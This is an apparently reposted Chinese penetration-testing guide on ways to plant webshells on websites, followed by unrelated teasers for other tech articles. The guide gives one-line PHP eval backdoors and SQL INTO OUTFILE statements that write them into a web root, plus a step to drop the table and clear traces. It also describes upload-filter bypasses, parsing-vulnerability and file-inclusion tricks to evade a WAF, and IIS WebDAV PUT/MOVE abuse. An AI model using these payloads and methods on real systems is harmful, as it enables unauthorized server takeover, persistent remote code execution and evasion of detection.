获取Webshell的一些思路

1️⃣CMS获取webshell方法:

1、什么是CMS?

CMS系统指的是内容管理系统。已经有别人开发好了整个网站的前后端,使用者只需要部署cms,然后通过后台添加数据,修改图片等工作,就能搭建好一个的WEB系统。

2、如何查看CMS相关信息?

  1. 如果已经攻破后台,那么进入后台之后CMS系统有可能直接显示
  2. 很多网站都会在网站的最下方信息中显示CMS版本信息
  3. 通过web指纹识别扫描器扫描
    常用的为御剑WEB指纹识别系统
  4. 通过浏览器的插件查看指纹信息
    火狐和Google推荐用wappalyzer

3、如何获取CMS的webshell?

找到网站使用的cms版本信息后,通过搜索引擎搜索,就可以得到相关版本获取webshell的方法

搜索关键字如:“wordpress拿webshell”。

2️⃣非CMS获取webshell:

更多的时候企业并不使用开源的CMS,而是选择自己开发源代码,这里的思路分为有权限和无权限两方面来分析

一、有管理权限的情况:

是指前期通过其他方法,已经破解了管理后台功能,可以使用管理后台的情况

(一)、通过正常上传一句话小马获取webshell
  1. 检查网站是否过滤上传文件后缀格式,如果未过滤直接上传一句话小马即可。

  2. 找到网站默认配置,将一句话小马插入配置中
    因为有些网站没有对配置参数进行过滤,所以配置中的小马被读取后,就可能被连接

建议先下载该站源码,进行查看源码过滤规则,以防插马失败。
插马失败很有可能会导致网站被你的小马中没有闭合标签导致网站出错。注意要闭合原有的代码,保证语法正确,以免程序运行出错。

(二)、利用后台数据库备份获取webshell

一般网站都不允许上传脚本类型文件,如 asp、php、jsp、aspx等文件。但一般后台都会有数据库备份功能。步骤如下

  1. 上传允许格式的小马(如图片马)
  2. 找到文件上传后的文件路径
  3. 通过数据库备份,指定备份源文件与与备份后格式。

如果后台限制了备份路径,可以尝试F12修改文本框元素

(三)、通过花样上传一句话小马获取Webshell

使用BurpSuite 工具,%00截断、特殊名文件名绕过、文件名大小写绕过、黑白名单绕过等等,想尽一切办法就是要上传一句话木马,通过各种变形,万变不离其宗,换汤不换药。

(四)、通过编辑模块、标签等拿WebShell

①通过对网站的模块进行编辑写入一句话,然后生成脚本文件拿WebShell

②通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿WebShell

(五)、SQL命令获取

有一定的数据库权限的情况下,通过向数据库表写入马,然后备份该表为脚本文件的方式进行
大致步骤:

  1. 创建表
  2. 将一句话写入刚创建的表中
  3. 查询一句话所在表到文件,成功将一句话写入文件

第一种方法:

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );  
#将一句话木马插入到mysql库best表best1字段
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[password]);?>');
#查询这个字段导出到网站的文件中
SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
#把痕迹清除
DROP TABLE IF EXISTS `best`;

第二种方法:
优先推荐,简单明了,且避免了误删别人的数据!

#直接将查询出来的语句写入文件
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/best3.php'
(六)、利用解析漏洞拿WebShell
1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字节代码执行漏洞
4)Apache 解析漏洞

其他的还有命令执行漏洞,反序列化漏洞等

(七)、利用编辑器漏洞拿WebShell

利用网站的编辑器上传木马,搜索已知的编辑器漏洞,常见的编辑器有 fckeditor、ewebeditor、cheditor等,有时候没有管理员权限也可以拿下webshell。

(八)、文件包含拿WebShell
  1. 首先需要存在文件包含漏洞
  2. 先将WebShell 改为txt格式文件上传
  3. 然后上传一个脚本文件包含该txt格式文件
  4. 通过这种方式,可绕过WAF拿WebShell
(九)、上传其它脚本类型拿WebShell
  1. 此类型用于一台服务器具有多个网站
    a网站是asp的站,b可能是php的站,分别限制了asp和php文件的上传,可以尝试向A上传php的脚本,来拿Shell
  2. 也可以尝试将脚本文件后缀名改为asa 或者在后面直接加个点(.)如"xx.asp.", 来突破文件类型限制进行上传拿WebShell
(十)、修改网站上传类型配置来拿WebShell

某些网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell

二、非管理权限


(一)、SQL注入漏洞

前提条件,具有足够权限,对写入木马的文件夹有写入权限,知道网站绝对路径

①可以通过log 备份、差异备份拿WebShell
②可以通过into outfile,into outfile函数(写入函数)将一句话木马写入,拿WebShell。
③利用phpmyadmin 将木马导出,拿WebShell
④利用连接外连的数据库拿WebShell

 1. 要有file_priv权限2. 知道文件绝对路径 3. 能使用union 4. 对web目录有读权限5. 若过滤了单引号,则可以将函数中的字符进行hex编码 
(二)、xss和sql注入联合利用

有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话<?php @eval($_POST['CE']);?>,之后再用数据库注入,查询到文件into file成功插入一句话木马

(三)、IIS写权限拿WebShell

有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,已经很少见了,有专门的利用工具(桂林老兵)。
原理是通过找到有IIS 写入权限的网站(开启WebDeV),PUT进去一个.txt 格式的文件,目录必须有刻写的权限,如 image 文件夹,然后通过move 方法,把txt 格式的木马用move 成脚本格式。

(四)、远程命令执行拿WebShell

在有php代码执行漏洞,例如一些框架漏洞的时候可以通过执行一些系统命令进行拿WebShell。执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用菜刀连接即可。

echo ?php "@eval($_POST['CE']);?>" > x.php 
(五)、头像上传拿WebShell

大概思路:
①将大马放在文件夹中
②将文件夹压缩成压缩文件(zip)
③正常上传一个头像并且抓包
④将数据包中图片头像的内容部分删掉
⑤重新写入文件内容,将压缩文件写入到原本图片的位置
⑥上传,之后返回包中会告诉我们绝对路径

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/660129.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

八斗学习笔记

1 初始环境安装 Anaconda安装(一款可以同时创建跟管理多个python环境的软件) https://blog.csdn.net/run_success/article/details/134656460 Anaconda创建一个新python环境(安装人工智能常用的第三方python包&#xff0c;如&#xff1a;tensorflow、keras、pytorch) https://…

12nm工艺,2.5GHz频率,低功耗Cortex-A72处理器培训

“ 12nm工艺&#xff0c;2.5GHz频率&#xff0c;低功耗Cortex-A72处理器培训” 本项目是真实项目实战培训&#xff0c;低功耗UPF设计&#xff0c;后端参数如下&#xff1a; 工艺&#xff1a;12nm 频率&#xff1a;2.5GHz 资源&#xff1a;2000_0000 instances 为了满足更多…

element中el-table组件 一整行点击都可以跳转

1. 属性(更多) row-click 当某一行被点击时会触发该事件 row, column, event 在Element UI的el-table组件中&#xff0c;要实现点击整行跳转&#xff0c;可以使用row-click事件。这个事件会在用户点击表格的一行时触发&#xff0c;并提供当前行的数据和行索引。 以下是一个简…

mongodb config

windows&#xff1a; 1.同级bin&#xff0c;data&#xff0c;log创建mongo.config文件 dbpathD:\Program\mongodb\data\db logpathD:\Program\mongodb\log\mongo.log logappendtrue #默认启用日志 journaltrue #过滤无用日志信息&#xff0c;调试设置为false quiettrue port2…

中科大计网学习记录笔记(二):网络核心

前言&#xff1a; 学习视频&#xff1a;中科大郑烇、杨坚全套《计算机网络&#xff08;自顶向下方法 第7版&#xff0c;James F.Kurose&#xff0c;Keith W.Ross&#xff09;》课程 该视频是B站非常著名的计网学习视频&#xff0c;但相信很多朋友和我一样在听完前面的部分发现信…

科技云报道:云原生PaaS,如何让金融业数字化开出“繁花”?

科技云报道原创。 在中国金融业数字化转型的历史长卷中&#xff0c;过去十年无疑是一部磅礴的史诗。 2017年&#xff0c;南京银行第一次将传统线下金融业务搬到了线上。那一年&#xff0c;它的互联网金融信贷业务实现了过去10年的业务总额。 2021年&#xff0c;富滇银行通过…

Parrot系统下ROS1试用CoCubeSim

Ubuntu 22.04安装和使用ROS1可行吗_ubuntu22.04安装ros1-CSDN博客 Parrot系统 如果你还不了解这个系统&#xff0c;如下文字就不用接着看了。 为何使用 为何更好的应用各类互联网信息&#xff0c;仅此而已。 开发利器 终端 ROS1和ROS2支持所有操作系统&#xff0c;支持的硬件…

【金蝶BI方案】用一张报表,分析生产完成情况

当老板问生产完成地怎样&#xff1f;难道还能拿出一叠报表让老板逐个细看&#xff1f;奥威-金蝶BI方案只用一张BI数据可视化报表就把整个生产完成情况给讲明白了。甚至还能满足老板想从不同角度进行分析的需求。 奥威-金蝶BI方案-BI生产完成情况报表 这张报表总结计算了生产合…

【CSS】css获取子元素的父元素,即通过子元素选择父元素(使用CSS伪类 :has() :not() )

这里写目录标题 一、:has获取第一个div获取包含 a.active 的 li获取第二个div 二、:not除了类名为active 的 a,其他的a的字体都为18px <div><h1>标题</h1></div><div><ul><li><a href"#" class"active">测…

我的数据结构c(给自己用的)

目录 顺序表&#xff1a; 链表&#xff1a; 栈&#xff1a; 队列&#xff1a; 我想在之后的大学数据结构课上需要自己写来做题&#xff0c;但每次都自己写&#xff0c;那太麻烦了&#xff0c;所以我就将这个博客来把所有的C语言的数据结构弄上去&#xff0c; 问我为什么不…

微服务中间件 RabbitMq学习

1、为什么需要Mq 例如在用户注册业务中&#xff0c;用户注册成功后 需要发注册邮件和注册短信&#xff0c;传统的做法有两种 1.串行的方式&#xff1b;2.并行的方式 &#xff1b; 假设三个业务节点分别使用50ms&#xff0c;串行方式使用时间150ms&#xff0c;并行使用时间10…

如何编写具有完备性的测试用例 ? 具体思路是什么 ? 全套解决方案打包呈现给你 。

设计测试用例应该算是测试人员最为主要的工作之一 &#xff0c;好的测试用例往往具有覆盖性强 &#xff0c;扩展性高以及复用性好等特点 。该如何设计出好的测试用例 &#xff1f;是我们每一位测试人员需要重点思考的问题 &#xff0c;下面是我对设计测试用例设计的思考 &#…

代码随想录 Leetcode40.组合总和 II

题目&#xff1a; 代码&#xff08;首刷看解析 2024年2月1日&#xff09;&#xff1a; class Solution { public:vector<vector<int>> res;vector<int> path;void backtracking(vector<int>& candidates, int target, int startIndex, vector<…

activemq 默认端口说明

支持的消息应用协议&#xff1a;OpenWire,Stomp REST,WS Notification,XMPP,AMQP,MQTT 默认使用了61616&#xff08;openwire/activemq服务监控端口&#xff09;、5672(amqp)、61613(stomp)、1883(mqtt)、61614(ws),8161(web管理页面端口&#xff09;等端口

opencv#41 轮廓检测

轮廓概念介绍 通常我们使用二值化的图像进行轮廓检测&#xff0c;对轮廓以外到内进行数字命名&#xff0c;如下图&#xff0c;最外面的轮廓命名为0&#xff0c;向内部进行扩展&#xff0c;遇到黑色白色相交区域&#xff0c;就是一个新的轮廓&#xff0c;然后依次对轮廓进行编号…

玛格全屋定制携手君子签,实现业务信息、流程、合同全面数字化

中国定制家居领导品牌——玛格全屋定制携手君子签&#xff0c;部署玛格业务系统&#xff0c;将电子签章系统与供应链上下游业务合同签署场景融合&#xff0c;通过无纸化、电子化的签署环境&#xff0c;打造业务“线上审批、签署、归档”闭环&#xff0c;助推业务减负提效。 电…

prometheus的alertmanager监控报警

监控告警&#xff1a; alert是一个单独的模块&#xff0c;需要我们单独的配置。 需要声明一个邮箱地址。配置是以configmap进行部署。 alert 实验&#xff1a; vim alert-cfg.yaml apiVersion: v1 kind: ConfigMap metadata:name: alertmanagernamespace: monitor-sa data…

跟着cherno手搓游戏引擎【16】Camera和Uniform变量的封装

相机封装&#xff1a; OrthographicCamera.h: #pragma once #include <glm/glm.hpp> namespace YOTO {class OrthographicCamera{public:OrthographicCamera(float left,float right , float bottom,float top);const glm::vec3& GetPosition()const { return m_Pos…

对同一文件多次mmap

abstract 问&#xff1a;对同一个文件多次mmap&#xff0c;返回的地址相同吗? 答&#xff1a;不相同 code #ifdef __linux__#include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> …

山东省七五商贸有限公司缝纫设备采购项目(第一批次)

山东省七五商贸有限公司缝纫设备采购项目(第一批次) (招标编号:JCJS-2024-002) 项目所在地区:山东省 一、招标条件 本山东省七五商贸有限公司缝纫设备采购项目(第一批次)已由项目审批/核准/备案机关批准&#xff0c;项目资金来源为其他资金/&#xff0c;招标人为山东省七五商贸…